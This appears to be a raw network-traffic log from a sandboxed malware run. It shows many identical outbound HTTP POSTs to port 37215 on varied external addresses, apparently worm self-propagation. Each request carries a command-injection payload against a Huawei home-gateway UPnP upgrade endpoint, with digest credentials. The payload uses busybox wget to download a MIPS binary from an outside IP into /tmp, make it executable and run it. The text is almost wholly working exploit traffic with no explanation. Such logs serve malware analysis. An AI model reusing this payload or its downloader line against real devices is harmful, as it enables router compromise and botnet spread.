2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	56278	197.103.193.138	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609184980 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	40426	157.62.255.255	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609235048 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	53750	197.118.161.155	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609266043 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	47826	168.204.229.155	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609319925 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	49602	13.191.210.26	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609319925 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	40764	157.251.239.40	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609328985 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	58596	34.114.172.79	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609405041 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	56412	157.39.220.56	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609458923 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	39482	133.178.29.77	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609524012 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	54896	157.121.169.87	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609599113 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	45810	157.113.100.5	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609601021 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 